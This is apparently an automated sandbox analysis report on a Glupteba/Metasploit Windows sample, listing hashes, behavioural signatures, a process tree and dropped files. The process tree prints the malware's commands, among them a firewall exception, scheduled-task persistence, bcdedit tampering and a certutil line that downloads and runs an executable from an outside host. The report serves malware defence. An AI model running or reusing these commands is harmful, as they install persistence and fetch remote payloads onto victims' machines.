Analysis

  • max time kernel
    144s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19-08-2024 10:51

General

  • Target

    aab6355be1f4f9e9b7d024e48173022f_JaffaCakes118.exe

  • Size

    3.7MB

  • MD5

    aab6355be1f4f9e9b7d024e48173022f

  • SHA1

    191ca2c9c7061b37544ff86defca002eaa836f35

  • SHA256

    17180a151bfa882eb7c50311d613e42e256c7c42e16b5a2848989f0da12d6219

  • SHA512

    2177106280ca8043a823f725d108b556ad96766f3b2781f5a198cc2c51c8a1d5e4007a44ab0eef29dc569608b5084458c088dd8e7d65cd3afe089bb5713bb9ee

  • SSDEEP

    98304:HppsD3h+XptHx6Xw9Ds3cwbd/p8GyfLYyuAJr/tGErsX9ve:J4tXwsc2d/yGUuAJr/tGX9ve

Malware Config

Extracted

Family

metasploit

Version

windows/single_exec

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

  • Glupteba payload 21 IoCs
  • MetaSploit

    Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.

  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Manipulates WinMonFS driver. 1 IoCs

    Roottkits write to WinMonFS to hide directories/files from being detected.

  • Modifies boot configuration data using bcdedit 1 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Windows directory 2 IoCs
  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Program crash 2 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies system certificate store 2 TTPs 3 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\aab6355be1f4f9e9b7d024e48173022f_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\aab6355be1f4f9e9b7d024e48173022f_JaffaCakes118.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:4660
    • C:\Users\Admin\AppData\Local\Temp\aab6355be1f4f9e9b7d024e48173022f_JaffaCakes118.exe
      "C:\Users\Admin\AppData\Local\Temp\aab6355be1f4f9e9b7d024e48173022f_JaffaCakes118.exe"
      2⤵
      • Adds Run key to start application
      • Checks for VirtualBox DLLs, possible anti-VM trick
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2760
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:528
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          • Event Triggered Execution: Netsh Helper DLL
          PID:924
      • C:\Windows\rss\csrss.exe
        C:\Windows\rss\csrss.exe ""
        3⤵
        • Executes dropped EXE
        • Manipulates WinMonFS driver.
        • System Location Discovery: System Language Discovery
        • Modifies data under HKEY_USERS
        • Modifies system certificate store
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1032
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:4288
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:1176
        • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
          "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
          4⤵
          • Executes dropped EXE
          PID:2200
        • C:\Windows\system32\bcdedit.exe
          C:\Windows\Sysnative\bcdedit.exe /v
          4⤵
          • Modifies boot configuration data using bcdedit
          PID:4328
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 2760 -s 872
        3⤵
        • Program crash
        PID:408
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4660 -s 624
      2⤵
      • Program crash
      PID:2356
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 4660 -ip 4660
    1⤵
      PID:3184
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 2760 -ip 2760
      1⤵
        PID:5080

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe

        Filesize

        1.7MB

        MD5

        13aaafe14eb60d6a718230e82c671d57

        SHA1

        e039dd924d12f264521b8e689426fb7ca95a0a7b

        SHA256

        f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

        SHA512

        ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

      • C:\Windows\rss\csrss.exe

        Filesize

        3.7MB

        MD5

        aab6355be1f4f9e9b7d024e48173022f

        SHA1

        191ca2c9c7061b37544ff86defca002eaa836f35

        SHA256

        17180a151bfa882eb7c50311d613e42e256c7c42e16b5a2848989f0da12d6219

        SHA512

        2177106280ca8043a823f725d108b556ad96766f3b2781f5a198cc2c51c8a1d5e4007a44ab0eef29dc569608b5084458c088dd8e7d65cd3afe089bb5713bb9ee

      • memory/1032-27-0x0000000000400000-0x0000000000C1E000-memory.dmp

        Filesize

        8.1MB

      • memory/1032-23-0x0000000000400000-0x0000000000C1E000-memory.dmp

        Filesize

        8.1MB

      • memory/1032-21-0x0000000000400000-0x0000000000C1E000-memory.dmp

        Filesize

        8.1MB

      • memory/1032-28-0x0000000000400000-0x0000000000C1E000-memory.dmp

        Filesize

        8.1MB

      • memory/1032-22-0x0000000000400000-0x0000000000C1E000-memory.dmp

        Filesize

        8.1MB

      • memory/1032-32-0x0000000000400000-0x0000000000C1E000-memory.dmp

        Filesize

        8.1MB

      • memory/1032-30-0x0000000000400000-0x0000000000C1E000-memory.dmp

        Filesize

        8.1MB

      • memory/1032-26-0x0000000000400000-0x0000000000C1E000-memory.dmp

        Filesize

        8.1MB

      • memory/1032-31-0x0000000000400000-0x0000000000C1E000-memory.dmp

        Filesize

        8.1MB

      • memory/1032-29-0x0000000000400000-0x0000000000C1E000-memory.dmp

        Filesize

        8.1MB

      • memory/1032-25-0x0000000000400000-0x0000000000C1E000-memory.dmp

        Filesize

        8.1MB

      • memory/1032-33-0x0000000000400000-0x0000000000C1E000-memory.dmp

        Filesize

        8.1MB

      • memory/1032-20-0x0000000000400000-0x0000000000C1E000-memory.dmp

        Filesize

        8.1MB

      • memory/1032-24-0x0000000000400000-0x0000000000C1E000-memory.dmp

        Filesize

        8.1MB

      • memory/2760-6-0x0000000000400000-0x0000000000C1E000-memory.dmp

        Filesize

        8.1MB

      • memory/2760-16-0x0000000000400000-0x0000000000C1E000-memory.dmp

        Filesize

        8.1MB

      • memory/2760-5-0x0000000000400000-0x0000000000C1E000-memory.dmp

        Filesize

        8.1MB

      • memory/2760-7-0x0000000000400000-0x0000000000C1E000-memory.dmp

        Filesize

        8.1MB

      • memory/4660-3-0x0000000000400000-0x0000000000C1E000-memory.dmp

        Filesize

        8.1MB

      • memory/4660-1-0x0000000000F40000-0x00000000012EA000-memory.dmp

        Filesize

        3.7MB

      • memory/4660-2-0x00000000012F0000-0x0000000001AF4000-memory.dmp

        Filesize

        8.0MB

      • memory/4660-9-0x00000000012F0000-0x0000000001AF4000-memory.dmp

        Filesize

        8.0MB

      • memory/4660-8-0x0000000000400000-0x0000000000C1E000-memory.dmp

        Filesize

        8.1MB